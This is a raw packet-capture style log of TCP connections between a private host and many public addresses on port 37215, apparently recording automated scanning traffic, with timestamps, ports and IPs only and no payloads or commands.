Aug 6, 2024 08:32:57.858620882 CEST	49590	37215	192.168.2.14	41.81.246.30
Aug 6, 2024 08:32:57.858643055 CEST	35096	37215	192.168.2.14	197.241.182.112
Aug 6, 2024 08:32:57.858673096 CEST	37215	34582	41.38.241.60	192.168.2.14
Aug 6, 2024 08:32:57.858685017 CEST	37215	35148	197.193.18.117	192.168.2.14
Aug 6, 2024 08:32:57.858695984 CEST	37215	35660	197.193.18.117	192.168.2.14
Aug 6, 2024 08:32:57.858706951 CEST	37215	43274	41.31.137.85	192.168.2.14
Aug 6, 2024 08:32:57.858726025 CEST	35096	37215	192.168.2.14	197.241.182.112
Aug 6, 2024 08:32:57.858766079 CEST	34582	37215	192.168.2.14	41.38.241.60
Aug 6, 2024 08:32:57.858766079 CEST	35660	37215	192.168.2.14	197.193.18.117
Aug 6, 2024 08:32:57.858766079 CEST	34582	37215	192.168.2.14	41.38.241.60
Aug 6, 2024 08:32:57.858799934 CEST	37215	43786	41.31.137.85	192.168.2.14
Aug 6, 2024 08:32:57.858810902 CEST	37215	60306	41.164.8.110	192.168.2.14
Aug 6, 2024 08:32:57.858819008 CEST	35660	37215	192.168.2.14	197.193.18.117
Aug 6, 2024 08:32:57.858820915 CEST	37215	59800	41.164.8.110	192.168.2.14
Aug 6, 2024 08:32:57.858831882 CEST	37215	41968	41.106.36.243	192.168.2.14
Aug 6, 2024 08:32:57.858841896 CEST	37215	41462	41.106.36.243	192.168.2.14
Aug 6, 2024 08:32:57.858860016 CEST	60306	37215	192.168.2.14	41.164.8.110
Aug 6, 2024 08:32:57.858863115 CEST	43786	37215	192.168.2.14	41.31.137.85
Aug 6, 2024 08:32:57.858882904 CEST	37215	45144	41.15.163.226	192.168.2.14
Aug 6, 2024 08:32:57.858892918 CEST	37215	44628	41.15.163.226	192.168.2.14
Aug 6, 2024 08:32:57.858903885 CEST	37215	43292	41.33.222.0	192.168.2.14
Aug 6, 2024 08:32:57.858905077 CEST	60306	37215	192.168.2.14	41.164.8.110
Aug 6, 2024 08:32:57.858916044 CEST	41968	37215	192.168.2.14	41.106.36.243
Aug 6, 2024 08:32:57.858916044 CEST	43786	37215	192.168.2.14	41.31.137.85
Aug 6, 2024 08:32:57.858918905 CEST	45144	37215	192.168.2.14	41.15.163.226
Aug 6, 2024 08:32:57.858947992 CEST	41968	37215	192.168.2.14	41.106.36.243
Aug 6, 2024 08:32:57.858959913 CEST	37215	43808	41.33.222.0	192.168.2.14
Aug 6, 2024 08:32:57.858973980 CEST	37215	54038	197.56.49.46	192.168.2.14
Aug 6, 2024 08:32:57.858983040 CEST	37215	54554	197.56.49.46	192.168.2.14
Aug 6, 2024 08:32:57.858987093 CEST	45144	37215	192.168.2.14	41.15.163.226
Aug 6, 2024 08:32:57.858995914 CEST	37215	56460	41.81.241.106	192.168.2.14
Aug 6, 2024 08:32:57.859002113 CEST	43808	37215	192.168.2.14	41.33.222.0
Aug 6, 2024 08:32:57.859010935 CEST	54554	37215	192.168.2.14	197.56.49.46
Aug 6, 2024 08:32:57.859018087 CEST	43808	37215	192.168.2.14	41.33.222.0
Aug 6, 2024 08:32:57.859057903 CEST	54554	37215	192.168.2.14	197.56.49.46
Aug 6, 2024 08:32:57.859132051 CEST	37215	56972	41.81.241.106	192.168.2.14
Aug 6, 2024 08:32:57.859143019 CEST	37215	56346	197.182.131.25	192.168.2.14
Aug 6, 2024 08:32:57.859172106 CEST	56972	37215	192.168.2.14	41.81.241.106
Aug 6, 2024 08:32:57.859211922 CEST	56972	37215	192.168.2.14	41.81.241.106
Aug 6, 2024 08:32:57.859230995 CEST	37215	56858	197.182.131.25	192.168.2.14
Aug 6, 2024 08:32:57.859256983 CEST	37215	55556	197.125.42.65	192.168.2.14
Aug 6, 2024 08:32:57.859276056 CEST	56858	37215	192.168.2.14	197.182.131.25
Aug 6, 2024 08:32:57.859277964 CEST	37215	56068	197.125.42.65	192.168.2.14
Aug 6, 2024 08:32:57.859288931 CEST	37215	59714	197.184.42.189	192.168.2.14
Aug 6, 2024 08:32:57.859302044 CEST	37215	60226	197.184.42.189	192.168.2.14
Aug 6, 2024 08:32:57.859330893 CEST	56068	37215	192.168.2.14	197.125.42.65
Aug 6, 2024 08:32:57.859332085 CEST	37215	37162	41.102.17.195	192.168.2.14
Aug 6, 2024 08:32:57.859342098 CEST	60226	37215	192.168.2.14	197.184.42.189
Aug 6, 2024 08:32:57.859343052 CEST	37215	34248	156.85.171.206	192.168.2.14
Aug 6, 2024 08:32:57.859345913 CEST	56858	37215	192.168.2.14	197.182.131.25
Aug 6, 2024 08:32:57.859355927 CEST	37215	40264	41.67.26.104	192.168.2.14
Aug 6, 2024 08:32:57.859369993 CEST	56068	37215	192.168.2.14	197.125.42.65
Aug 6, 2024 08:32:57.859376907 CEST	60226	37215	192.168.2.14	197.184.42.189
Aug 6, 2024 08:32:57.859430075 CEST	34248	37215	192.168.2.14	156.85.171.206
Aug 6, 2024 08:32:57.859477043 CEST	37215	45460	197.199.54.86	192.168.2.14
Aug 6, 2024 08:32:57.859478951 CEST	34248	37215	192.168.2.14	156.85.171.206
Aug 6, 2024 08:32:57.859491110 CEST	37215	45972	197.199.54.86	192.168.2.14
Aug 6, 2024 08:32:57.859500885 CEST	37215	33736	156.85.171.206	192.168.2.14
Aug 6, 2024 08:32:57.859510899 CEST	37215	37674	41.102.17.195	192.168.2.14
Aug 6, 2024 08:32:57.859522104 CEST	37215	40776	41.67.26.104	192.168.2.14
Aug 6, 2024 08:32:57.859524965 CEST	45972	37215	192.168.2.14	197.199.54.86
Aug 6, 2024 08:32:57.859548092 CEST	37215	36302	156.243.95.77	192.168.2.14
Aug 6, 2024 08:32:57.859558105 CEST	37215	36814	156.243.95.77	192.168.2.14
Aug 6, 2024 08:32:57.859561920 CEST	37215	37426	41.138.94.83	192.168.2.14
Aug 6, 2024 08:32:57.859565973 CEST	37215	37938	41.138.94.83	192.168.2.14
Aug 6, 2024 08:32:57.859568119 CEST	45972	37215	192.168.2.14	197.199.54.86
Aug 6, 2024 08:32:57.859572887 CEST	37674	37215	192.168.2.14	41.102.17.195
Aug 6, 2024 08:32:57.859590054 CEST	40776	37215	192.168.2.14	41.67.26.104
Aug 6, 2024 08:32:57.859596968 CEST	36814	37215	192.168.2.14	156.243.95.77
Aug 6, 2024 08:32:57.859617949 CEST	37938	37215	192.168.2.14	41.138.94.83
Aug 6, 2024 08:32:57.859620094 CEST	37215	35260	156.83.38.198	192.168.2.14
Aug 6, 2024 08:32:57.859628916 CEST	36814	37215	192.168.2.14	156.243.95.77
Aug 6, 2024 08:32:57.859628916 CEST	40776	37215	192.168.2.14	41.67.26.104
Aug 6, 2024 08:32:57.859631062 CEST	37215	35772	156.83.38.198	192.168.2.14
Aug 6, 2024 08:32:57.859642982 CEST	37215	52938	197.91.152.70	192.168.2.14
Aug 6, 2024 08:32:57.859647989 CEST	37674	37215	192.168.2.14	41.102.17.195
Aug 6, 2024 08:32:57.859674931 CEST	35772	37215	192.168.2.14	156.83.38.198
Aug 6, 2024 08:32:57.859697104 CEST	37938	37215	192.168.2.14	41.138.94.83
Aug 6, 2024 08:32:57.859724045 CEST	35772	37215	192.168.2.14	156.83.38.198
Aug 6, 2024 08:32:57.859733105 CEST	37215	60052	156.35.207.34	192.168.2.14
Aug 6, 2024 08:32:57.859744072 CEST	37215	53450	197.91.152.70	192.168.2.14
Aug 6, 2024 08:32:57.859754086 CEST	37215	60564	156.35.207.34	192.168.2.14
Aug 6, 2024 08:32:57.859762907 CEST	37215	33008	156.91.153.27	192.168.2.14
Aug 6, 2024 08:32:57.859781027 CEST	53450	37215	192.168.2.14	197.91.152.70
Aug 6, 2024 08:32:57.859795094 CEST	60564	37215	192.168.2.14	156.35.207.34
Aug 6, 2024 08:32:57.859816074 CEST	37215	35352	156.197.209.77	192.168.2.14
Aug 6, 2024 08:32:57.859816074 CEST	53450	37215	192.168.2.14	197.91.152.70
Aug 6, 2024 08:32:57.859849930 CEST	60564	37215	192.168.2.14	156.35.207.34
Aug 6, 2024 08:32:57.859883070 CEST	37215	33520	156.91.153.27	192.168.2.14
Aug 6, 2024 08:32:57.859893084 CEST	37215	35864	156.197.209.77	192.168.2.14
Aug 6, 2024 08:32:57.859896898 CEST	37215	43454	41.7.6.195	192.168.2.14
Aug 6, 2024 08:32:57.859900951 CEST	37215	43966	41.7.6.195	192.168.2.14
Aug 6, 2024 08:32:57.859978914 CEST	35864	37215	192.168.2.14	156.197.209.77
Aug 6, 2024 08:32:57.859977961 CEST	33520	37215	192.168.2.14	156.91.153.27
Aug 6, 2024 08:32:57.859987974 CEST	43966	37215	192.168.2.14	41.7.6.195
Aug 6, 2024 08:32:57.860004902 CEST	37215	56762	197.77.215.2	192.168.2.14
Aug 6, 2024 08:32:57.860014915 CEST	37215	57274	197.77.215.2	192.168.2.14
Aug 6, 2024 08:32:57.860023975 CEST	35864	37215	192.168.2.14	156.197.209.77
Aug 6, 2024 08:32:57.860027075 CEST	37215	53622	197.106.150.96	192.168.2.14
Aug 6, 2024 08:32:57.860035896 CEST	43966	37215	192.168.2.14	41.7.6.195
Aug 6, 2024 08:32:57.860037088 CEST	37215	54134	197.106.150.96	192.168.2.14
Aug 6, 2024 08:32:57.860047102 CEST	37215	37592	41.89.22.189	192.168.2.14
Aug 6, 2024 08:32:57.860053062 CEST	33520	37215	192.168.2.14	156.91.153.27
Aug 6, 2024 08:32:57.860058069 CEST	57274	37215	192.168.2.14	197.77.215.2
Aug 6, 2024 08:32:57.860068083 CEST	37215	38460	41.96.213.218	192.168.2.14
Aug 6, 2024 08:32:57.860080004 CEST	37215	37080	41.89.22.189	192.168.2.14
Aug 6, 2024 08:32:57.860080957 CEST	37592	37215	192.168.2.14	41.89.22.189
Aug 6, 2024 08:32:57.860085011 CEST	54134	37215	192.168.2.14	197.106.150.96
Aug 6, 2024 08:32:57.860085011 CEST	57274	37215	192.168.2.14	197.77.215.2
Aug 6, 2024 08:32:57.860090017 CEST	37215	38972	41.96.213.218	192.168.2.14
Aug 6, 2024 08:32:57.860124111 CEST	54134	37215	192.168.2.14	197.106.150.96
Aug 6, 2024 08:32:57.860136032 CEST	37592	37215	192.168.2.14	41.89.22.189
Aug 6, 2024 08:32:57.860263109 CEST	37215	44302	156.99.124.37	192.168.2.14
Aug 6, 2024 08:32:57.860272884 CEST	37215	44814	156.99.124.37	192.168.2.14
Aug 6, 2024 08:32:57.860281944 CEST	37215	49670	197.119.21.203	192.168.2.14
Aug 6, 2024 08:32:57.860291958 CEST	37215	50182	197.119.21.203	192.168.2.14
Aug 6, 2024 08:32:57.860301971 CEST	38972	37215	192.168.2.14	41.96.213.218
Aug 6, 2024 08:32:57.860301971 CEST	38972	37215	192.168.2.14	41.96.213.218
Aug 6, 2024 08:32:57.860311031 CEST	44814	37215	192.168.2.14	156.99.124.37
Aug 6, 2024 08:32:57.860320091 CEST	50182	37215	192.168.2.14	197.119.21.203
Aug 6, 2024 08:32:57.860331059 CEST	44814	37215	192.168.2.14	156.99.124.37
Aug 6, 2024 08:32:57.860331059 CEST	37215	37666	197.79.169.4	192.168.2.14
Aug 6, 2024 08:32:57.860366106 CEST	50182	37215	192.168.2.14	197.119.21.203
Aug 6, 2024 08:32:57.860598087 CEST	37215	41024	156.5.65.103	192.168.2.14
Aug 6, 2024 08:32:57.860609055 CEST	37215	38176	197.79.169.4	192.168.2.14
Aug 6, 2024 08:32:57.860620975 CEST	37215	41536	156.5.65.103	192.168.2.14
Aug 6, 2024 08:32:57.860644102 CEST	38176	37215	192.168.2.14	197.79.169.4
Aug 6, 2024 08:32:57.860671997 CEST	41536	37215	192.168.2.14	156.5.65.103
Aug 6, 2024 08:32:57.860688925 CEST	41536	37215	192.168.2.14	156.5.65.103
Aug 6, 2024 08:32:57.860692024 CEST	38176	37215	192.168.2.14	197.79.169.4
Aug 6, 2024 08:32:57.860738993 CEST	37215	47718	197.150.61.72	192.168.2.14
Aug 6, 2024 08:32:57.860749960 CEST	37215	48232	197.150.61.72	192.168.2.14
Aug 6, 2024 08:32:57.860759974 CEST	37215	60240	41.67.110.230	192.168.2.14
Aug 6, 2024 08:32:57.860779047 CEST	37215	51722	156.60.205.144	192.168.2.14
Aug 6, 2024 08:32:57.860789061 CEST	37215	60752	41.67.110.230	192.168.2.14
Aug 6, 2024 08:32:57.860790014 CEST	48232	37215	192.168.2.14	197.150.61.72
Aug 6, 2024 08:32:57.860793114 CEST	37215	52588	41.89.37.118	192.168.2.14
Aug 6, 2024 08:32:57.860819101 CEST	48232	37215	192.168.2.14	197.150.61.72
Aug 6, 2024 08:32:57.860824108 CEST	60752	37215	192.168.2.14	41.67.110.230
Aug 6, 2024 08:32:57.860857964 CEST	60752	37215	192.168.2.14	41.67.110.230
Aug 6, 2024 08:32:57.860917091 CEST	37215	41740	156.138.84.192	192.168.2.14
Aug 6, 2024 08:32:57.860939980 CEST	37215	52234	156.60.205.144	192.168.2.14
Aug 6, 2024 08:32:57.860949993 CEST	37215	53100	41.89.37.118	192.168.2.14
Aug 6, 2024 08:32:57.860959053 CEST	37215	42252	156.138.84.192	192.168.2.14
Aug 6, 2024 08:32:57.860970020 CEST	37215	53354	41.206.96.163	192.168.2.14
Aug 6, 2024 08:32:57.861021042 CEST	37215	53866	41.206.96.163	192.168.2.14
Aug 6, 2024 08:32:57.861072063 CEST	52234	37215	192.168.2.14	156.60.205.144
Aug 6, 2024 08:32:57.861072063 CEST	53100	37215	192.168.2.14	41.89.37.118
Aug 6, 2024 08:32:57.861072063 CEST	52234	37215	192.168.2.14	156.60.205.144
Aug 6, 2024 08:32:57.861073017 CEST	53100	37215	192.168.2.14	41.89.37.118
Aug 6, 2024 08:32:57.861073017 CEST	42252	37215	192.168.2.14	156.138.84.192
Aug 6, 2024 08:32:57.861078024 CEST	53866	37215	192.168.2.14	41.206.96.163
Aug 6, 2024 08:32:57.861088991 CEST	37215	49632	41.99.246.34	192.168.2.14
Aug 6, 2024 08:32:57.861099005 CEST	42252	37215	192.168.2.14	156.138.84.192
Aug 6, 2024 08:32:57.861100912 CEST	37215	50144	41.99.246.34	192.168.2.14
Aug 6, 2024 08:32:57.861107111 CEST	53866	37215	192.168.2.14	41.206.96.163
Aug 6, 2024 08:32:57.861112118 CEST	37215	56304	156.226.194.179	192.168.2.14
Aug 6, 2024 08:32:57.861156940 CEST	50144	37215	192.168.2.14	41.99.246.34
Aug 6, 2024 08:32:57.861219883 CEST	50144	37215	192.168.2.14	41.99.246.34
Aug 6, 2024 08:32:57.861246109 CEST	37215	56816	156.226.194.179	192.168.2.14
Aug 6, 2024 08:32:57.861257076 CEST	37215	58810	41.175.207.136	192.168.2.14
Aug 6, 2024 08:32:57.861267090 CEST	37215	59322	41.175.207.136	192.168.2.14
Aug 6, 2024 08:32:57.861287117 CEST	37215	50104	41.139.158.191	192.168.2.14
Aug 6, 2024 08:32:57.861294985 CEST	56816	37215	192.168.2.14	156.226.194.179
Aug 6, 2024 08:32:57.861294985 CEST	59322	37215	192.168.2.14	41.175.207.136
Aug 6, 2024 08:32:57.861296892 CEST	37215	50616	41.139.158.191	192.168.2.14
Aug 6, 2024 08:32:57.861309052 CEST	37215	50328	156.210.44.233	192.168.2.14
Aug 6, 2024 08:32:57.861327887 CEST	37215	43240	41.180.58.253	192.168.2.14
Aug 6, 2024 08:32:57.861330032 CEST	50616	37215	192.168.2.14	41.139.158.191
Aug 6, 2024 08:32:57.861339092 CEST	37215	50840	156.210.44.233	192.168.2.14
Aug 6, 2024 08:32:57.861345053 CEST	56816	37215	192.168.2.14	156.226.194.179
Aug 6, 2024 08:32:57.861345053 CEST	59322	37215	192.168.2.14	41.175.207.136
Aug 6, 2024 08:32:57.861360073 CEST	37215	43752	41.180.58.253	192.168.2.14
Aug 6, 2024 08:32:57.861368895 CEST	37215	56768	197.229.186.220	192.168.2.14
Aug 6, 2024 08:32:57.861375093 CEST	50616	37215	192.168.2.14	41.139.158.191
Aug 6, 2024 08:32:57.861377954 CEST	50840	37215	192.168.2.14	156.210.44.233
Aug 6, 2024 08:32:57.861428022 CEST	50840	37215	192.168.2.14	156.210.44.233
Aug 6, 2024 08:32:57.861430883 CEST	43752	37215	192.168.2.14	41.180.58.253
Aug 6, 2024 08:32:57.861437082 CEST	37215	50696	197.201.238.246	192.168.2.14
Aug 6, 2024 08:32:57.861450911 CEST	43752	37215	192.168.2.14	41.180.58.253
Aug 6, 2024 08:32:57.861511946 CEST	37215	57280	197.229.186.220	192.168.2.14
Aug 6, 2024 08:32:57.861521959 CEST	37215	51208	197.201.238.246	192.168.2.14
Aug 6, 2024 08:32:57.861537933 CEST	37215	55438	41.17.186.253	192.168.2.14
Aug 6, 2024 08:32:57.861560106 CEST	57280	37215	192.168.2.14	197.229.186.220
Aug 6, 2024 08:32:57.861567974 CEST	51208	37215	192.168.2.14	197.201.238.246
Aug 6, 2024 08:32:57.861604929 CEST	37215	42256	197.170.123.35	192.168.2.14
Aug 6, 2024 08:32:57.861614943 CEST	57280	37215	192.168.2.14	197.229.186.220
Aug 6, 2024 08:32:57.861644983 CEST	51208	37215	192.168.2.14	197.201.238.246
Aug 6, 2024 08:32:57.861671925 CEST	37215	42768	197.170.123.35	192.168.2.14
Aug 6, 2024 08:32:57.861682892 CEST	37215	55950	41.17.186.253	192.168.2.14
Aug 6, 2024 08:32:57.861692905 CEST	37215	53042	41.85.183.189	192.168.2.14
Aug 6, 2024 08:32:57.861716032 CEST	42768	37215	192.168.2.14	197.170.123.35
Aug 6, 2024 08:32:57.861745119 CEST	42768	37215	192.168.2.14	197.170.123.35
Aug 6, 2024 08:32:57.861748934 CEST	55950	37215	192.168.2.14	41.17.186.253
Aug 6, 2024 08:32:57.861748934 CEST	55950	37215	192.168.2.14	41.17.186.253
Aug 6, 2024 08:32:57.861757040 CEST	37215	53552	41.85.183.189	192.168.2.14
Aug 6, 2024 08:32:57.861799955 CEST	37215	55402	197.132.30.188	192.168.2.14
Aug 6, 2024 08:32:57.861809969 CEST	37215	55916	197.132.30.188	192.168.2.14
Aug 6, 2024 08:32:57.861819983 CEST	37215	43042	156.234.152.134	192.168.2.14
Aug 6, 2024 08:32:57.861843109 CEST	55916	37215	192.168.2.14	197.132.30.188
Aug 6, 2024 08:32:57.861888885 CEST	53552	37215	192.168.2.14	41.85.183.189
Aug 6, 2024 08:32:57.861888885 CEST	53552	37215	192.168.2.14	41.85.183.189
Aug 6, 2024 08:32:57.861903906 CEST	55916	37215	192.168.2.14	197.132.30.188
Aug 6, 2024 08:32:57.861939907 CEST	37215	43554	156.234.152.134	192.168.2.14
Aug 6, 2024 08:32:57.861974955 CEST	43554	37215	192.168.2.14	156.234.152.134
Aug 6, 2024 08:32:57.861979008 CEST	37215	60530	197.52.174.50	192.168.2.14
Aug 6, 2024 08:32:57.861990929 CEST	37215	32810	197.52.174.50	192.168.2.14
Aug 6, 2024 08:32:57.862011909 CEST	43554	37215	192.168.2.14	156.234.152.134
Aug 6, 2024 08:32:57.862036943 CEST	32810	37215	192.168.2.14	197.52.174.50
Aug 6, 2024 08:32:57.862082958 CEST	32810	37215	192.168.2.14	197.52.174.50
Aug 6, 2024 08:32:57.862122059 CEST	37215	32984	197.198.169.113	192.168.2.14
Aug 6, 2024 08:32:57.862133026 CEST	37215	33496	197.198.169.113	192.168.2.14
Aug 6, 2024 08:32:57.862199068 CEST	33496	37215	192.168.2.14	197.198.169.113
Aug 6, 2024 08:32:57.862199068 CEST	33496	37215	192.168.2.14	197.198.169.113
Aug 6, 2024 08:32:57.862220049 CEST	37215	43498	41.158.83.113	192.168.2.14
Aug 6, 2024 08:32:57.862231016 CEST	37215	44010	41.158.83.113	192.168.2.14
Aug 6, 2024 08:32:57.862240076 CEST	37215	48858	197.194.34.222	192.168.2.14
Aug 6, 2024 08:32:57.862271070 CEST	44010	37215	192.168.2.14	41.158.83.113
Aug 6, 2024 08:32:57.862297058 CEST	44010	37215	192.168.2.14	41.158.83.113
Aug 6, 2024 08:32:57.862323046 CEST	37215	49370	197.194.34.222	192.168.2.14
Aug 6, 2024 08:32:57.862333059 CEST	37215	53150	156.196.237.33	192.168.2.14
Aug 6, 2024 08:32:57.862343073 CEST	37215	40218	41.225.151.149	192.168.2.14
Aug 6, 2024 08:32:57.862407923 CEST	49370	37215	192.168.2.14	197.194.34.222
Aug 6, 2024 08:32:57.862407923 CEST	49370	37215	192.168.2.14	197.194.34.222
Aug 6, 2024 08:32:57.862488985 CEST	37215	53662	156.196.237.33	192.168.2.14
Aug 6, 2024 08:32:57.862500906 CEST	37215	40730	41.225.151.149	192.168.2.14
Aug 6, 2024 08:32:57.862509966 CEST	37215	54878	41.84.239.116	192.168.2.14
Aug 6, 2024 08:32:57.862529993 CEST	37215	55390	41.84.239.116	192.168.2.14
Aug 6, 2024 08:32:57.862539053 CEST	53662	37215	192.168.2.14	156.196.237.33
Aug 6, 2024 08:32:57.862540007 CEST	37215	57036	197.125.78.47	192.168.2.14
Aug 6, 2024 08:32:57.862565041 CEST	40730	37215	192.168.2.14	41.225.151.149
Aug 6, 2024 08:32:57.862586975 CEST	37215	57548	197.125.78.47	192.168.2.14
Aug 6, 2024 08:32:57.862597942 CEST	37215	39722	41.9.222.229	192.168.2.14
Aug 6, 2024 08:32:57.862612009 CEST	40730	37215	192.168.2.14	41.225.151.149
Aug 6, 2024 08:32:57.862615108 CEST	53662	37215	192.168.2.14	156.196.237.33
Aug 6, 2024 08:32:57.862616062 CEST	37215	49902	156.177.204.221	192.168.2.14
Aug 6, 2024 08:32:57.862627029 CEST	55390	37215	192.168.2.14	41.84.239.116
Aug 6, 2024 08:32:57.862643003 CEST	57548	37215	192.168.2.14	197.125.78.47
Aug 6, 2024 08:32:57.862644911 CEST	55390	37215	192.168.2.14	41.84.239.116
Aug 6, 2024 08:32:57.862689972 CEST	57548	37215	192.168.2.14	197.125.78.47
Aug 6, 2024 08:32:57.862813950 CEST	37215	40234	41.9.222.229	192.168.2.14
Aug 6, 2024 08:32:57.862826109 CEST	37215	50414	156.177.204.221	192.168.2.14
Aug 6, 2024 08:32:57.862844944 CEST	37215	46640	197.214.35.214	192.168.2.14
Aug 6, 2024 08:32:57.862855911 CEST	37215	47152	197.214.35.214	192.168.2.14
Aug 6, 2024 08:32:57.862858057 CEST	40234	37215	192.168.2.14	41.9.222.229
Aug 6, 2024 08:32:57.862873077 CEST	50414	37215	192.168.2.14	156.177.204.221
Aug 6, 2024 08:32:57.862883091 CEST	40234	37215	192.168.2.14	41.9.222.229
Aug 6, 2024 08:32:57.862910032 CEST	47152	37215	192.168.2.14	197.214.35.214
Aug 6, 2024 08:32:57.862986088 CEST	50414	37215	192.168.2.14	156.177.204.221
Aug 6, 2024 08:32:57.862986088 CEST	47152	37215	192.168.2.14	197.214.35.214
Aug 6, 2024 08:32:57.863001108 CEST	37215	44336	156.216.133.161	192.168.2.14
Aug 6, 2024 08:32:57.863054037 CEST	37215	44848	156.216.133.161	192.168.2.14
Aug 6, 2024 08:32:57.863065004 CEST	37215	56894	41.75.95.48	192.168.2.14
Aug 6, 2024 08:32:57.863075018 CEST	37215	57406	41.75.95.48	192.168.2.14
Aug 6, 2024 08:32:57.863090992 CEST	44848	37215	192.168.2.14	156.216.133.161
Aug 6, 2024 08:32:57.863101959 CEST	57406	37215	192.168.2.14	41.75.95.48
Aug 6, 2024 08:32:57.863121033 CEST	44848	37215	192.168.2.14	156.216.133.161
Aug 6, 2024 08:32:57.863126040 CEST	57406	37215	192.168.2.14	41.75.95.48
Aug 6, 2024 08:32:57.863209963 CEST	37215	40960	197.158.198.40	192.168.2.14
Aug 6, 2024 08:32:57.863219023 CEST	37215	41472	197.158.198.40	192.168.2.14
Aug 6, 2024 08:32:57.863229036 CEST	37215	60224	197.112.240.90	192.168.2.14
Aug 6, 2024 08:32:57.863234043 CEST	37215	60736	197.112.240.90	192.168.2.14
Aug 6, 2024 08:32:57.863274097 CEST	60736	37215	192.168.2.14	197.112.240.90
Aug 6, 2024 08:32:57.863276958 CEST	41472	37215	192.168.2.14	197.158.198.40
Aug 6, 2024 08:32:57.863301039 CEST	41472	37215	192.168.2.14	197.158.198.40
Aug 6, 2024 08:32:57.863310099 CEST	60736	37215	192.168.2.14	197.112.240.90
Aug 6, 2024 08:32:57.863348007 CEST	37215	52882	41.207.104.124	192.168.2.14
Aug 6, 2024 08:32:57.863358974 CEST	37215	53394	41.207.104.124	192.168.2.14
Aug 6, 2024 08:32:57.863369942 CEST	37215	46410	41.67.69.204	192.168.2.14
Aug 6, 2024 08:32:57.863415956 CEST	53394	37215	192.168.2.14	41.207.104.124
Aug 6, 2024 08:32:57.863452911 CEST	37215	44062	41.241.250.246	192.168.2.14
Aug 6, 2024 08:32:57.863459110 CEST	53394	37215	192.168.2.14	41.207.104.124
Aug 6, 2024 08:32:57.863473892 CEST	37215	34774	156.124.36.83	192.168.2.14
Aug 6, 2024 08:32:57.863483906 CEST	37215	46922	41.67.69.204	192.168.2.14
Aug 6, 2024 08:32:57.863504887 CEST	37215	35286	156.124.36.83	192.168.2.14
Aug 6, 2024 08:32:57.863516092 CEST	37215	44574	41.241.250.246	192.168.2.14
Aug 6, 2024 08:32:57.863528013 CEST	37215	56840	41.214.215.249	192.168.2.14
Aug 6, 2024 08:32:57.863559008 CEST	35286	37215	192.168.2.14	156.124.36.83
Aug 6, 2024 08:32:57.863562107 CEST	44574	37215	192.168.2.14	41.241.250.246
Aug 6, 2024 08:32:57.863567114 CEST	56840	37215	192.168.2.14	41.214.215.249
Aug 6, 2024 08:32:57.863574982 CEST	46922	37215	192.168.2.14	41.67.69.204
Aug 6, 2024 08:32:57.863574982 CEST	46922	37215	192.168.2.14	41.67.69.204
Aug 6, 2024 08:32:57.863586903 CEST	35286	37215	192.168.2.14	156.124.36.83
Aug 6, 2024 08:32:57.863600016 CEST	44574	37215	192.168.2.14	41.241.250.246
Aug 6, 2024 08:32:57.863615036 CEST	56840	37215	192.168.2.14	41.214.215.249
Aug 6, 2024 08:32:57.863679886 CEST	37215	50936	41.2.95.20	192.168.2.14
Aug 6, 2024 08:32:57.863691092 CEST	37215	56328	41.214.215.249	192.168.2.14
Aug 6, 2024 08:32:57.863699913 CEST	37215	51448	41.2.95.20	192.168.2.14
Aug 6, 2024 08:32:57.863809109 CEST	51448	37215	192.168.2.14	41.2.95.20
Aug 6, 2024 08:32:57.863809109 CEST	51448	37215	192.168.2.14	41.2.95.20
Aug 6, 2024 08:32:57.863831043 CEST	37215	36340	41.96.92.153	192.168.2.14
Aug 6, 2024 08:32:57.863841057 CEST	37215	51906	156.215.168.4	192.168.2.14
Aug 6, 2024 08:32:57.863851070 CEST	37215	36852	41.96.92.153	192.168.2.14
Aug 6, 2024 08:32:57.863861084 CEST	37215	52418	156.215.168.4	192.168.2.14
Aug 6, 2024 08:32:57.863879919 CEST	37215	43792	197.220.115.179	192.168.2.14
Aug 6, 2024 08:32:57.863889933 CEST	37215	47466	156.241.3.212	192.168.2.14
Aug 6, 2024 08:32:57.863900900 CEST	36852	37215	192.168.2.14	41.96.92.153
Aug 6, 2024 08:32:57.863904953 CEST	52418	37215	192.168.2.14	156.215.168.4
Aug 6, 2024 08:32:57.863920927 CEST	37215	44304	197.220.115.179	192.168.2.14
Aug 6, 2024 08:32:57.863922119 CEST	36852	37215	192.168.2.14	41.96.92.153
Aug 6, 2024 08:32:57.863928080 CEST	52418	37215	192.168.2.14	156.215.168.4
Aug 6, 2024 08:32:57.863957882 CEST	44304	37215	192.168.2.14	197.220.115.179
Aug 6, 2024 08:32:57.863982916 CEST	44304	37215	192.168.2.14	197.220.115.179
Aug 6, 2024 08:32:57.864077091 CEST	37215	45850	197.145.206.32	192.168.2.14
Aug 6, 2024 08:32:57.864132881 CEST	37215	47978	156.241.3.212	192.168.2.14
Aug 6, 2024 08:32:57.864142895 CEST	37215	46362	197.145.206.32	192.168.2.14
Aug 6, 2024 08:32:57.864152908 CEST	37215	40174	156.115.169.96	192.168.2.14
Aug 6, 2024 08:32:57.864164114 CEST	37215	45542	156.9.49.106	192.168.2.14
Aug 6, 2024 08:32:57.864176035 CEST	37215	57564	197.232.216.53	192.168.2.14
Aug 6, 2024 08:32:57.864180088 CEST	47978	37215	192.168.2.14	156.241.3.212
Aug 6, 2024 08:32:57.864182949 CEST	46362	37215	192.168.2.14	197.145.206.32
Aug 6, 2024 08:32:57.864187956 CEST	40174	37215	192.168.2.14	156.115.169.96
Aug 6, 2024 08:32:57.864190102 CEST	37215	58080	197.232.216.53	192.168.2.14
Aug 6, 2024 08:32:57.864200115 CEST	47978	37215	192.168.2.14	156.241.3.212
Aug 6, 2024 08:32:57.864203930 CEST	45542	37215	192.168.2.14	156.9.49.106
Aug 6, 2024 08:32:57.864213943 CEST	46362	37215	192.168.2.14	197.145.206.32
Aug 6, 2024 08:32:57.864245892 CEST	37215	40780	41.65.44.253	192.168.2.14
Aug 6, 2024 08:32:57.864255905 CEST	37215	41296	41.65.44.253	192.168.2.14
Aug 6, 2024 08:32:57.864265919 CEST	37215	36364	197.22.69.25	192.168.2.14
Aug 6, 2024 08:32:57.864278078 CEST	40174	37215	192.168.2.14	156.115.169.96
Aug 6, 2024 08:32:57.864278078 CEST	40174	37215	192.168.2.14	156.115.169.96
Aug 6, 2024 08:32:57.864284992 CEST	41296	37215	192.168.2.14	41.65.44.253
Aug 6, 2024 08:32:57.864305019 CEST	58080	37215	192.168.2.14	197.232.216.53
Aug 6, 2024 08:32:57.864309072 CEST	40402	37215	192.168.2.14	156.115.169.96
Aug 6, 2024 08:32:57.864315987 CEST	45542	37215	192.168.2.14	156.9.49.106
Aug 6, 2024 08:32:57.864315987 CEST	45542	37215	192.168.2.14	156.9.49.106
